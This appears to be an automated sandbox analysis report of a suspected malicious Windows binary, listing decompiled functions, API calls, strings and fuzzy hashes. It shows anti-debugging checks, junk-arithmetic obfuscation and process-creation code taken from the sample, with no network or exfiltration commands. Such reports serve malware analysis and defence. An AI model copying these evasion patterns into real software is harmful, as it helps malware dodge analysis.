GetProcessHeap.KERNEL32(00000008,00000008), ref: 00402F75
HeapAlloc.KERNEL32(00000000), ref: 00402F7C
ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000), ref: 00402FA5
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402FB5
HeapFree.KERNEL32(00000000), ref: 00402FBC

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$EnvironmentExpandProcessStrings$AllocFree
String ID:
API String ID: 3136487859-0
Opcode ID: 5a2e07d86761309461554fade39b684b391e71648c847d274b37f5339b2078bc
Instruction ID: 356e567c1c973b11f03b327607353ebb3bddb4127cb9cc22e61930edde91a4f8
Opcode Fuzzy Hash: 5a2e07d86761309461554fade39b684b391e71648c847d274b37f5339b2078bc
Instruction Fuzzy Hash: 4D111F75980208FBDB00DFE5D94CBDEBBB8AB48345F108069F505A7291D7B49A44DF54

Function 00437697, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 197

APIs

GetLastError.KERNEL32 ref: 004376E4

Part of subcall function 004353EC: GetLocaleInfoA.KERNEL32(?,00001004,?,00000006,?,?,?,?,?,?), ref: 0043540E

__alloca_probe_16.NTDLLP ref: 0043778B
__alloca_probe_16.NTDLLP ref: 00437803
GetStringTypeA.KERNEL32(?,?,00000100,?,00000000), ref: 0043786B

Part of subcall function 0042DBBB: IsDebuggerPresent.KERNEL32 ref: 0043506E
Part of subcall function 0042DBBB: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00435083
Part of subcall function 0042DBBB: UnhandledExceptionFilter.KERNEL32(0043ABE8), ref: 0043508E
Part of subcall function 0042DBBB: GetCurrentProcess.KERNEL32(C0000409), ref: 004350AA
Part of subcall function 0042DBBB: TerminateProcess.KERNEL32(00000000), ref: 004350B1

Strings

xC, xrefs: 00437764, 00437708

Memory Dump Source

Source File: 00000000.00000002.791223681.000000000042D000.00000020.sdmp, Offset: 0042D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_42d000_8UT1RfjZ0z.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled__alloca_probe_16$CurrentDebuggerErrorInfoLastLocalePresentStringTerminateType
String ID: xC
API String ID: 620733819-3628439659
Opcode ID: 88ed9936bc997516c5f0ed3ed6ca5caa30a25c926efa8564a254d80d04359290
Instruction ID: c3c1b8f30f5ef229d442f479b15dd994862ccbc40054f9c1107ea09a8196866e
Opcode Fuzzy Hash: 88ed9936bc997516c5f0ed3ed6ca5caa30a25c926efa8564a254d80d04359290
Instruction Fuzzy Hash: D561DEB1904609EFDF31AF69CC8589F7BB1EF4D324F20652BE89092260D338D851CB68

Function 004278F0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 117
thread

C-Code - Quality: 92%

			E004278F0(signed int _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int* _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr* _v40;
				signed int _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				intOrPtr _v76;
				intOrPtr* _v80;
				intOrPtr* _v88;
				signed int* _v92;
				signed int* _v96;
				signed int* _v100;
				signed int _t110;

				_v44 = 0x3ac7;
				_v8 = 0xe7f3;
				_v48 =  &_v44;
				_v44 =  *_v48 * _v8 * _v44;
				_v76 = 0;
				while(_v76 < 4) {
					_v32 = 0xfa7ba1b9;
					_v12 = 0xf0f30784;
					_v80 =  &_v32;
					_v88 =  &_v12;
					_v64 =  *_v80 -  *_v88;
					_v76 = _v76 + 1;
				}
				GetCurrentThread();
				GetTickCount();
				_v52 = 0x9754;
				_v32 = 0x2b8a;
				_a4 = (_v52 & _v8) + _v32;
				GetEnvironmentStringsW();
				_a4 = _v44 + _v44 + _a4;
				_a12 = 0x4d6d;
				_v12 = 0xf79a4e53;
				_v40 =  &_v12;
				_v12 = (_a12 -  *_v40) * _v12;
				_v36 = 0xa418;
				_v16 =  &_v44;
				_v8 = (_v36 -  *_v16) * _v8;
				_v68 = 0xea;
				_v56 = 0x27;
				_a8 = (_v68 & 0xf16fe14f) + _v56;
				_v28 = 0xb5;
				_v24 =  &_v28;
				asm("cdq");
				_v60 =  *_v24 / (_v52 + 1);
				if(_v56 == 0xfbb943b8) {
					_v64 = 0x8873;
					_v28 = (_v64 | 0x000000f1) * _a8 * _v28;
					_v92 =  &_v44;
					_v100 =  &_v64;
					asm("cdq");
					_v68 = ( *_v92 | _v32) / (_v64 + 1) * _v68;
					_v96 =  &_v8;
					asm("cdq");
					_v56 = _v12 / (_v8 + 1) * _v56;
				}
				_v72 = 0xfe86;
				_t110 = _v52 - (_v32 | _a4) * _v72;
				_v52 = _t110;
				return _t110;
			}

0x004278f6
0x004278fd
0x00427907
0x00427917
0x0042791a
0x0042792c
0x00427932
0x00427939
0x00427943
0x00427949
0x00427956
0x00427929
0x00427929
0x0042795b
0x00427961
0x00427967
0x0042796e
0x0042797e
0x00427981
0x00427990
0x00427993
0x0042799a
0x004279a4
0x004279b3
0x004279b6
0x004279c0
0x004279cf
0x004279d2
0x004279d9
0x004279ec
0x004279ef
0x004279f9
0x00427a07
0x00427a0a
0x00427a14
0x00427a16
0x00427a2d
0x00427a33
0x00427a39
0x00427a4a
0x00427a51
0x00427a57
0x00427a63
0x00427a6a
0x00427a6a
0x00427a6d
0x00427a81
0x00427a83
0x00427a89

APIs

GetCurrentThread.KERNEL32 ref: 0042795B
GetTickCount.KERNEL32 ref: 00427961
GetEnvironmentStringsW.KERNEL32 ref: 00427981

Strings

mM, xrefs: 00427993
', xrefs: 004279D9

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CountCurrentEnvironmentStringsThreadTick
String ID: '$mM
API String ID: 694069059-4225470048
Opcode ID: 1e793333b4a812c2de8215f85286772d8160eb5aa010ff4726817dec8b679389
Instruction ID: 93780d72bed4bbb2d04a88904a6a730e98eec19cc9933574fe2233d8552f069d
Opcode Fuzzy Hash: 1e793333b4a812c2de8215f85286772d8160eb5aa010ff4726817dec8b679389
Instruction Fuzzy Hash: 1951A7B4D00208EFCB08CF99D5849EDBBB1FF88314F20915AE815AB354D774AA86CF84

Function 00426730, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 97

C-Code - Quality: 93%

			E00426730(intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int* _v16;
				signed int* _v20;
				signed int* _v24;
				signed int _v28;
				signed int* _v32;
				char _v36;
				signed int _v40;
				char _v44;
				signed int* _v48;
				signed int _v52;
				char _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr* _v80;
				intOrPtr _v84;
				char _v88;
				signed int* _v92;
				signed int _t92;

				_v64 = 0xb1b4;
				_v60 = 0x9c35;
				_v24 =  &_v60;
				_v28 = _v64 *  *_v24;
				_v80 =  &_v28;
				_v72 = _v64 +  *_v80;
				GetCommandLineA();
				_v52 = 0x6b;
				_v20 =  &_v64;
				_v28 = _v28 - _v52 *  *_v20;
				_v8 = 0xa2;
				asm("cdq");
				_v8 = _v8 / (_v72 + 1) * _v8;
				IsDebuggerPresent();
				_v84 = 0;
				while(_v84 < 3) {
					_v88 = 0xaf;
					_v40 = 0xf96132eb;
					_v92 =  &_v88;
					asm("cdq");
					_v68 =  *_v92 / (_v40 + 1);
					GetCommandLineA();
					_v84 = _v84 + 1;
				}
				_v40 = 0x77a1;
				_v36 = 0x16b8;
				_v32 =  &_v36;
				_v64 = _v64 - (_v40 & _v28) *  *_v32;
				IsDebuggerPresent();
				_v76 = 0xfbd05efe;
				_v44 = 0xa95d;
				_v68 = _v76 + _v44;
				_v12 = _v64 + _v44;
				_a4 = 0xf3dc;
				_v48 =  &_v52;
				_a4 = _a4 - ( *_v48 | 0x0000067f) - _a4;
				_v16 =  &_v44;
				_t92 = _v12 *  *_v16;
				_v60 = _v60 - _t92;
				return _t92;
			}

0x00426736
0x0042673d
0x00426747
0x00426753
0x00426759
0x00426764
0x00426767
0x0042676d
0x00426777
0x00426788
0x0042678b
0x0042679b
0x004267a2
0x004267a5
0x004267ab
0x004267bd
0x004267c3
0x004267ca
0x004267d4
0x004267e2
0x004267e5
0x004267e8
0x004267ba
0x004267ba
0x004267f0
0x004267f7
0x00426801
0x00426815
0x00426818
0x0042681e
0x00426825
0x00426832
0x0042683b
0x0042683e
0x00426848
0x0042685e
0x00426864
0x0042686d
0x00426875
0x0042687b

APIs

GetCommandLineA.KERNEL32 ref: 00426767
IsDebuggerPresent.KERNEL32 ref: 004267A5
GetCommandLineA.KERNEL32 ref: 004267E8
IsDebuggerPresent.KERNEL32 ref: 00426818

Strings

k, xrefs: 0042676D

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CommandDebuggerLinePresent
String ID: k
API String ID: 2516589065-140662621
Opcode ID: 154d794d4f61d076b42e186e1763f89a850e10de388c4d81244a7ce144104b01
Instruction ID: 70d06d08a7619c6b7a2846b084275cb91553dbbdbc7bfb8c2cd8a7ddb9a53e6d
Opcode Fuzzy Hash: 154d794d4f61d076b42e186e1763f89a850e10de388c4d81244a7ce144104b01
Instruction Fuzzy Hash: FA417DB4E00209DFDB08CFA8D5949DDBBB5FF88314F20816AE815AB354D774AA45CF94

Function 00407D40, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 52process

APIs

wsprintfW.USER32 ref: 00407D91
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 00407DB7
CloseHandle.KERNEL32(00000000), ref: 00407DCD

Strings

D, xrefs: 00407D78
%s --, xrefs: 00407D85

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CloseCreateHandleProcesswsprintf
String ID: %s --$D
API String ID: 2677673010-2919915345
Opcode ID: 4dd27ae1c2e30b2c870eaf959261f9202220070d05f1d1dc08292ce5f0ada5a1
Instruction ID: 8b29e9b5f261c8b2be249fbbbc15187affa8c65ce75ca4a032e5d458e147d9d4
Opcode Fuzzy Hash: 4dd27ae1c2e30b2c870eaf959261f9202220070d05f1d1dc08292ce5f0ada5a1
Instruction Fuzzy Hash: 06118471540208AFDB00CF94CC98BEABBB5FF89301F448169EA045B290C775AE45CF98

Function 00419BA0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 48

APIs

Part of subcall function 004137E0: Sleep.KERNEL32(00002710,?,00000050,00000000,00000000,00000000,00000000,000000FF), ref: 00413861

OutputDebugStringA.KERNEL32(WMA 2,?,?,00000050,?,?,?,00419A0C,-0041E1F1,?,?,000000FF,00000050,?,?), ref: 00419C23

Part of subcall function 00411F60: GetProcessHeap.KERNEL32(00000008,00000208,004292D0), ref: 00411F76
Part of subcall function 00411F60: HeapAlloc.KERNEL32(00000000), ref: 00411F7D
Part of subcall function 00411F60: wsprintfW.USER32 ref: 00412102
Part of subcall function 00411F60: wsprintfW.USER32 ref: 00412211
Part of subcall function 00411F60: RegCloseKey.ADVAPI32(00000000), ref: 00412266
Part of subcall function 00411F60: GetProcessHeap.KERNEL32(00000000,00000000,80000001,00000000,00020006,00000000), ref: 00412272
Part of subcall function 00411F60: HeapFree.KERNEL32(00000000), ref: 00412279

Part of subcall function 00419A40: lstrcpyA.KERNEL32(00000000,-0041E2F0,DDDD,00000004,00408712,?,?,?,?), ref: 00419B0E
Part of subcall function 00419A40: lstrcpyA.KERNEL32(00000000,-0041E2E7), ref: 00419B5F

OutputDebugStringA.KERNEL32(WMA 1,00000050,004292D0,000000FF,00000050,?,?,00000050,?,?,?,00419A0C,-0041E1F1,?,?,000000FF), ref: 00419BF9

Part of subcall function 00403DC0: GetProcessHeap.KERNEL32(00000000,?,?,?,00419B70,00000000,DDDD,00000004,00408712,?,?,?), ref: 00403DEB
Part of subcall function 00403DC0: HeapFree.KERNEL32(00000000,?,00419B70), ref: 00403DF2

SetEvent.KERNEL32(00000144,00000050,?,00419A0C,-0041E1F1,?,?,000000FF,00000050,?,?), ref: 00419C0F

Strings

WMA 2, xrefs: 00419C1E
WMA 1, xrefs: 00419BF4

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$DebugFreeOutputStringlstrcpywsprintf$AllocCloseEventSleep
String ID: WMA 1$WMA 2
API String ID: 594153852-1018587233
Opcode ID: 98484282e60447b6daa6e23e74941562b405bd5e740b1ffc76b83d1458b2cb31
Instruction ID: b209a24fde65f98e0237fde5fa9b89546f2e43a6c4425466080236d33e717fa1
Opcode Fuzzy Hash: 98484282e60447b6daa6e23e74941562b405bd5e740b1ffc76b83d1458b2cb31
Instruction Fuzzy Hash: 8511AD70280209EBCB00DF94DC85EEB37A8BF08340F148419FA0587280D778DC80CBA8

Function 00425060, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 47
thread

C-Code - Quality: 82%

			E00425060(signed int _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int* _v12;
				signed int _v16;
				char _v20;
				signed int _v24;
				signed int _t40;

				_v20 = 0xfe00473d;
				_v12 =  &_v20;
				asm("cdq");
				_v8 =  *_v12 / (_v20 + 1);
				_v16 = 0x71;
				_a4 = 0x7113;
				asm("cdq");
				_t40 = _v16 / (_a4 + 1);
				_v8 = _v8 - _t40;
				_v24 = 0;
				while(_v24 < 3) {
					_a8 = 0x29;
					if(_a8 == 0xcc) {
						GetCurrentThread();
					}
					_a12 = 0xf8c5eefd;
					asm("cdq");
					_v8 = _a4 / (_a12 + 1) + _v8;
					GetEnvironmentStringsW();
					_t40 = _v24 + 1;
					_v24 = _t40;
				}
				return _t40;
			}

0x00425066
0x00425070
0x0042507e
0x00425081
0x00425084
0x0042508b
0x0042509b
0x0042509c
0x004250a3
0x004250a6
0x004250b8
0x004250be
0x004250cc
0x004250ce
0x004250ce
0x004250d4
0x004250e4
0x004250ea
0x004250ed
0x004250b2
0x004250b5
0x004250b5
0x004250f8

APIs

GetCurrentThread.KERNEL32 ref: 004250CE
GetEnvironmentStringsW.KERNEL32 ref: 004250ED

Strings

), xrefs: 004250BE
q, xrefs: 00425084
=G, xrefs: 00425066

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CurrentEnvironmentStringsThread
String ID: )$=G$q
API String ID: 3475708998-73295788
Opcode ID: 802045fb285224e402a2741d40cb2bbe32cdebbd6ff2268b1761ef0f69529bcf
Instruction ID: fd19544740b0fe84e269680ac533722e563690150d90cd68b23d2827e10a12b7
Opcode Fuzzy Hash: 802045fb285224e402a2741d40cb2bbe32cdebbd6ff2268b1761ef0f69529bcf
Instruction Fuzzy Hash: FB11F2B0A05209DFCF04CF98D9486ADBBF1FB44318F60815AE919AB340D7B8AA549F85

Function 0043581C, Relevance: 7.8, APIs: 5, Instructions: 303
time

C-Code - Quality: 72%

			E0043581C(void* __ebx, signed int __edx, signed int __edi, void* __esi, void* __eflags) {
				void* _t61;
				void* _t63;
				void* _t65;
				intOrPtr* _t67;
				int _t68;
				long _t69;
				void* _t75;
				signed int _t76;
				void* _t78;
				int _t79;
				signed int _t83;
				void* _t85;
				void* _t86;
				void* _t87;
				signed int _t89;
				signed int _t90;
				int _t93;
				int _t98;
				int _t105;
				int _t108;
				int _t110;
				int _t113;
				void* _t114;
				void* _t116;
				void* _t118;
				int _t119;
				void* _t127;
				void* _t128;
				void* _t129;
				void* _t131;
				signed int _t137;
				signed int _t138;
				int _t139;
				char** _t143;
				intOrPtr* _t146;
				int _t147;
				void* _t149;
				void* _t150;
				void* _t151;

				_t145 = __esi;
				_t138 = __edi;
				_t136 = __edx;
				_push(0x2c);
				E004294C4(__ebx, __edi, __esi);
				 *(_t149 - 0x38) = 0;
				 *(_t149 - 0x2c) = 0;
				 *(_t149 - 0x1c) = 0;
				 *(_t149 - 0x24) = 0;
				 *(_t149 - 0x28) = 0;
				 *(_t149 - 0x20) = 0;
				E00429908(0, __edx, __edi, 7);
				 *((intOrPtr*)(_t149 - 4)) = 0;
				 *(_t149 - 0x20) = E004357F2();
				_t61 = E0043570A(0, __edx, __edi, _t149 - 0x1c);
				_t127 = 0x43b008;
				_t155 = _t61;
				if(_t61 != 0) {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00429943(0, _t127, __edx, __edi, _t155);
					_t150 = _t150 + 0x14;
				}
				_t63 = E004356A2(0, _t136, _t138, _t149 - 0x24);
				_pop(_t128);
				_t156 = _t63;
				if(_t63 != 0) {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00429943(0, _t128, _t136, _t138, _t156);
					_t150 = _t150 + 0x14;
				}
				_t65 = E004356D6(0, _t136, _t138, _t149 - 0x28);
				_pop(_t129);
				_t157 = _t65;
				if(_t65 != 0) {
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00429943(0, _t129, _t136, _t138, _t157);
					_t150 = _t150 + 0x14;
				}
				 *(_t149 - 0x34) = E004304FF(_t136, _t138, _t145, _t157);
				 *0x43fa9c = 0;
				_t139 = _t138 | 0xffffffff;
				 *0x43efc4 = _t139;
				 *0x43efb8 = _t139;
				_t67 = E004367DB(_t136, 0x43ac30);
				_pop(1);
				_t146 = _t67;
				 *((intOrPtr*)(_t149 - 0x3c)) = _t146;
				if(_t146 == 0 ||  *_t146 == 0) {
					_t68 =  *0x43faa0; // 0x0
					__eflags = _t68;
					if(__eflags != 0) {
						_push(_t68);
						E0042B4FE(0, _t136, _t139, _t146, __eflags);
						_pop(1);
						 *0x43faa0 = 0;
					}
					_t69 = GetTimeZoneInformation(0x43f9f0);
					__eflags = _t69 - _t139;
					if(_t69 == _t139) {
						goto L32;
					} else {
						 *0x43fa9c = 1;
						_t89 = 0x43f9f0->Bias; // 0x0
						_t90 = _t89 * 0x3c;
						 *(_t149 - 0x1c) = _t90;
						__eflags =  *0x43fa36; // 0x0
						if(__eflags != 0) {
							_t137 =  *0x43fa44; // 0x0
							_t136 = _t137 * 0x3c;
							_t108 = _t90 + _t137 * 0x3c;
							__eflags = _t108;
							 *(_t149 - 0x1c) = _t108;
						}
						__eflags =  *0x43fa8a; // 0x0
						if(__eflags == 0) {
							L23:
							 *(_t149 - 0x24) = 0;
							 *(_t149 - 0x28) = 0;
							goto L24;
						} else {
							_t105 =  *0x43fa98; // 0x0
							__eflags = _t105;
							if(_t105 == 0) {
								goto L23;
							}
							 *(_t149 - 0x24) = 1;
							 *(_t149 - 0x28) = (_t105 -  *0x43fa44) * 0x3c;
							L24:
							_t93 = WideCharToMultiByte( *(_t149 - 0x34), 0, 0x43f9f4, _t139,  *( *(_t149 - 0x20)), 0x3f, 0, _t149 - 0x30);
							__eflags = _t93;
							if(_t93 == 0) {
								L27:
								 *( *( *(_t149 - 0x20))) = 0;
								L28:
								_t98 = WideCharToMultiByte( *(_t149 - 0x34), 0, 0x43fa48, 0xffffffff, ( *(_t149 - 0x20))[1], 0x3f, 0, _t149 - 0x30);
								__eflags = _t98;
								if(_t98 == 0) {
									L31:
									 *(( *(_t149 - 0x20))[1]) = 0;
									goto L32;
								}
								__eflags =  *(_t149 - 0x30);
								if( *(_t149 - 0x30) != 0) {
									goto L31;
								}
								( *(_t149 - 0x20))[1][0x3f] = 0;
								goto L32;
							}
							__eflags =  *(_t149 - 0x30);
							if( *(_t149 - 0x30) != 0) {
								goto L27;
							}
							( *( *(_t149 - 0x20)))[0x3f] = 0;
							goto L28;
						}
					}
				} else {
					_t110 =  *0x43faa0; // 0x0
					if(_t110 == 0) {
						L12:
						_t113 = E0042B5BD(E0042AA00(_t146) + 1);
						_pop(1);
						 *0x43faa0 = _t113;
						if(_t113 == 0) {
							L32:
							 *(_t149 - 0x2c) = 1;
							L33:
							 *(E004357EC()) =  *(_t149 - 0x1c);
							 *(E004357E0()) =  *(_t149 - 0x24);
							 *(E004357E6()) =  *(_t149 - 0x28);
							 *((intOrPtr*)(_t149 - 4)) = 0xfffffffe;
							_t73 = E00435ACB();
							if( *(_t149 - 0x2c) != 0) {
								L60:
								return E00429509(_t73);
							}
							_t143 =  *(_t149 - 0x20);
							_t75 = E0042A949(_t136,  *_t143, 0x40, _t146, 3);
							_t151 = _t150 + 0x10;
							_t166 = _t75;
							if(_t75 != 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								_push(0);
								E00429943(0, 1, _t136, _t143, _t166);
								_t151 = _t151 + 0x14;
							}
							_t147 = _t146 + 3;
							if( *_t147 == 0x2d) {
								 *(_t149 - 0x38) = 1;
								_t147 = _t147 + 1;
							}
							_t76 = E00436385(_t147);
							_pop(_t131);
							 *(_t149 - 0x1c) = _t76 * 0xe10;
							while(1) {
								_t78 =  *_t147;
								if(_t78 != 0x2b && (_t78 < 0x30 || _t78 > 0x39)) {
									break;
								}
								_t147 = _t147 + 1;
							}
							__eflags =  *_t147 - 0x3a;
							if( *_t147 != 0x3a) {
								L53:
								__eflags =  *(_t149 - 0x38);
								if( *(_t149 - 0x38) != 0) {
									 *(_t149 - 0x1c) =  ~( *(_t149 - 0x1c));
								}
								_t79 =  *_t147;
								 *(_t149 - 0x24) = _t79;
								__eflags = _t79;
								if(_t79 == 0) {
									 *(_t143[1]) = 0;
								} else {
									__eflags = E0042A949(_t136, _t143[1], 0x40, _t147, 3);
									if(__eflags != 0) {
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										E00429943(0, _t131, _t136, _t143, __eflags);
									}
								}
								 *(E004357EC()) =  *(_t149 - 0x1c);
								goto L60;
							}
							_t147 = _t147 + 1;
							_t83 = E00436385(_t147);
							_pop(_t131);
							 *(_t149 - 0x1c) =  *(_t149 - 0x1c) + _t83 * 0x3c;
							while(1) {
								_t85 =  *_t147;
								__eflags = _t85 - 0x30;
								if(_t85 < 0x30) {
									break;
								}
								__eflags = _t85 - 0x39;
								if(_t85 > 0x39) {
									break;
								}
								_t147 = _t147 + 1;
								__eflags = _t147;
							}
							__eflags =  *_t147 - 0x3a;
							if( *_t147 != 0x3a) {
								goto L53;
							}
							_t147 = _t147 + 1;
							_t86 = E00436385(_t147);
							_pop(_t131);
							 *(_t149 - 0x1c) =  *(_t149 - 0x1c) + _t86;
							while(1) {
								_t87 =  *_t147;
								__eflags = _t87 - 0x30;
								if(_t87 < 0x30) {
									goto L53;
								}
								__eflags = _t87 - 0x39;
								if(_t87 > 0x39) {
									goto L53;
								}
								_t147 = _t147 + 1;
								__eflags = _t147;
							}
							goto L53;
						}
						_push(_t146);
						_t114 = E0042AA00(_t146);
						_pop(1);
						_push(_t114 + 1);
						_push( *0x43faa0);
						_t116 = E0042AA8B(_t136);
						_t150 = _t150 + 0xc;
						_t164 = _t116;
						if(_t116 != 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E00429943(0, 1, _t136, _t139, _t164);
							_t150 = _t150 + 0x14;
						}
						goto L33;
					}
					_t118 = E00431730(_t146, _t110);
					_pop(1);
					if(_t118 == 0) {
						goto L32;
					}
					_t119 =  *0x43faa0; // 0x0
					_t162 = _t119;
					if(_t119 != 0) {
						_push(_t119);
						E0042B4FE(0, _t136, _t139, _t146, _t162);
					}
					goto L12;
				}
			}

0x0043581c
0x0043581c
0x0043581c
0x0043581c
0x00435823
0x0043582a
0x0043582d
0x00435830
0x00435833
0x00435836
0x00435839
0x0043583e
0x00435844
0x0043584c
0x00435853
0x00435858
0x00435859
0x0043585b
0x0043585d
0x0043585e
0x0043585f
0x00435860
0x00435861
0x00435862
0x00435867
0x00435867
0x0043586e
0x00435873
0x00435874
0x00435876
0x00435878
0x00435879
0x0043587a
0x0043587b
0x0043587c
0x0043587d
0x00435882
0x00435882
0x00435889
0x0043588e
0x0043588f
0x00435891
0x00435893
0x00435894
0x00435895
0x00435896
0x00435897
0x00435898
0x0043589d
0x0043589d
0x004358a5
0x004358a8
0x004358ae
0x004358b1
0x004358b7
0x004358c2
0x004358c7
0x004358c8
0x004358ca
0x004358cf
0x0043594d
0x00435952
0x00435954
0x00435956
0x00435957
0x0043595c
0x0043595d
0x0043595d
0x00435968
0x0043596e
0x00435970
0x00000000
0x00435976
0x00435979
0x0043597f
0x00435984
0x00435987
0x0043598a
0x00435991
0x00435993
0x00435999
0x0043599c
0x0043599c
0x0043599e
0x0043599e
0x004359a1
0x004359a8
0x004359c4
0x004359c4
0x004359c7
0x00000000
0x004359aa
0x004359aa
0x004359af
0x004359b1
0x00000000
0x00000000
0x004359b3
0x004359bf
0x004359ca
0x004359e6
0x004359e8
0x004359ea
0x004359fb
0x00435a00
0x00435a02
0x00435a1a
0x00435a1c
0x00435a1e
0x00435a30
0x00435a36
0x00000000
0x00435a36
0x00435a20
0x00435a23
0x00000000
0x00000000
0x00435a2b
0x00000000
0x00435a2b
0x004359ec
0x004359ef
0x00000000
0x00000000
0x004359f6
0x00000000
0x004359f6
0x004359a8
0x004358d5
0x004358d5
0x004358dc
0x004358ff
0x00435907
0x0043590d
0x0043590e
0x00435915
0x00435a38
0x00435a38
0x00435a3f
0x00435a47
0x00435a51
0x00435a5b
0x00435a5d
0x00435a64
0x00435a6c
0x00435b55
0x00435b5a
0x00435b5a
0x00435a77
0x00435a7c
0x00435a81
0x00435a84
0x00435a86
0x00435a88
0x00435a89
0x00435a8a
0x00435a8b
0x00435a8c
0x00435a8d
0x00435a92
0x00435a92
0x00435a95
0x00435a9b
0x00435a9d
0x00435aa4
0x00435aa4
0x00435aa6
0x00435aab
0x00435ab2
0x00435ab5
0x00435ab5
0x00435ab9
0x00000000
0x00000000
0x00435ac3
0x00435ac3
0x00435ad4
0x00435ad7
0x00435b11
0x00435b11
0x00435b14
0x00435b16
0x00435b16
0x00435b19
0x00435b1c
0x00435b1f
0x00435b21
0x00435b49
0x00435b23
0x00435b33
0x00435b35
0x00435b37
0x00435b38
0x00435b39
0x00435b3a
0x00435b3b
0x00435b3c
0x00435b41
0x00435b35
0x00435b53
0x00000000
0x00435b53
0x00435ad9
0x00435adb
0x00435ae0
0x00435ae4
0x00435aee
0x00435aee
0x00435af0
0x00435af2
0x00000000
0x00000000
0x00435ae9
0x00435aeb
0x00000000
0x00000000
0x00435aed
0x00435aed
0x00435aed
0x00435af4
0x00435af7
0x00000000
0x00000000
0x00435af9
0x00435afb
0x00435b00
0x00435b01
0x00435b0b
0x00435b0b
0x00435b0d
0x00435b0f
0x00000000
0x00000000
0x00435b06
0x00435b08
0x00000000
0x00000000
0x00435b0a
0x00435b0a
0x00435b0a
0x00000000
0x00435b0b
0x0043591b
0x0043591d
0x00435922
0x00435924
0x00435925
0x0043592b
0x00435930
0x00435933
0x00435935
0x0043593b
0x0043593c
0x0043593d
0x0043593e
0x0043593f
0x00435940
0x00435945
0x00435945
0x00000000
0x00435935
0x004358e0
0x004358e6
0x004358e9
0x00000000
0x00000000
0x004358ef
0x004358f4
0x004358f6
0x004358f8
0x004358f9
0x004358fe
0x00000000
0x004358f6

APIs

Part of subcall function 00429908: EnterCriticalSection.KERNEL32(?,?,?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 00429930

Part of subcall function 004367DB: _strlen.LIBCMT ref: 00436819
Part of subcall function 004367DB: _strlen.LIBCMT ref: 00436824

_strlen.LIBCMT ref: 00435900

Part of subcall function 0042B5BD: Sleep.KERNEL32(00000000,00000001,?,00429892,00000018,0043AD50,0000000C,00429921,?,?,?,0042F055,00000004,0043AFA8,0000000C,0042B610), ref: 0042B5DA

_strlen.LIBCMT ref: 0043591D
GetTimeZoneInformation.KERNEL32(0043F9F0,0043B008,0000002C,00435F2C,0043B028,00000008,00430ED6), ref: 00435968
